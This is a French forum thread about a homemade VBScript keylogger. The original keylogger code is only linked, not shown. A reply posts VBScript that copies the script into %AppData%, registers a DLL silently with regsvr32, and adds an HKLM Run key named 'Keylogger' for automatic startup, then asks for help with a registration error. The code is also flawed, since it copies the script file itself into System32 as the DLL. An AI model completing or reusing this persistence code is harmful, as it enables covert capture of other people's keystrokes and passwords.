Envoyé par
omen999
bonjour,
tout est dans le titre
ce code nécessite l'enregistrement du composant
dynamicwrapperx
les touches au format de l'instruction sendkeys sont enregistrées par défaut dans un fichier dénommé
keylog.txt situé dans le répertoire de démarrage du script
la sortie du keylogger se fait par la combinaison
Maj + Esc
c'est une version beta donc les observations et autres "bug reports" sont les bienvenus
les tests se font évidemment aux risques et périls de leur utilisateur
voir le code
Salut,
J'ai ajouter quelques lignes dans ton script dans le but de le faire exécuter en démarrage automatique avec windows et d'enregistrer le composant "dynwrapx.dll" en mode Silencieux.Pour L'inscription du Script dans la Base de registre en Démarrage automatique ca marche trés bien, mais j'ai rencontrer un petit problème dans l'enregistrement de ce dernier.
Le message d'erreur est : "dynwrapx.dll" n'est pas un fichier exécutable et aucune application d'assistance d'enregistrement n'est enregistré pour ce type de fichier
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| '--Copie du script et du composant DynamicWrapperX et inscription et dans la Base de registre pour Le démarrage Automatique--
dim file,destfile,AppData,System32,Command,Enreg,HKLM
Set ws = WScript.CreateObject("WScript.Shell")
AppData= ws.ExpandEnvironmentStrings("%AppData%")
set file = CreateObject ("Scripting.FileSystemObject")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
set destfile = file.GetFile(Wscript.ScriptFullName)
Set System32 = FSO.GetSpecialFolder(1)
HKLM = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
if (not fso.fileexists(AppData & "\" & Wscript.ScriptName)) then
destfile.Copy(AppData & "\" & Wscript.ScriptName)
end if
if fso.fileexists(AppData & "\" & Wscript.ScriptName) then 'Pour La Mise à jour du script :il écrase l'ancien et copie le nouveau
destfile.Copy(AppData & "\" & Wscript.ScriptName)
end if
if (not fso.fileexists(System32 & "\dynwrapx.dll")) then
destfile.Copy(System32 & "\dynwrapx.dll")
end if
'--Commande pour inscrire le composant dynwrapx.dll en mode silencieux en utilisant l'option regsvr32 /S
'Command = "CMD /C regsvr32 /s dynwrapx.dll"
Command = "CMD /C regsvr32 dynwrapx.dll"
Enreg = ws.Run(Command,0,True)
'----inscription dans la Base de registre pour Le démarrage Automatique----
ws.RegWrite HKLM & "Keylogger", AppData & "\" & Wscript.ScriptName |
Je ne sais pas si l'erreur vient de mon système sous "Windows XP SP3" ou bien il y a une erreur dans la syntaxe de la commande suivante:
Command = "CMD /C regsvr32 dynwrapx.dll"
Partager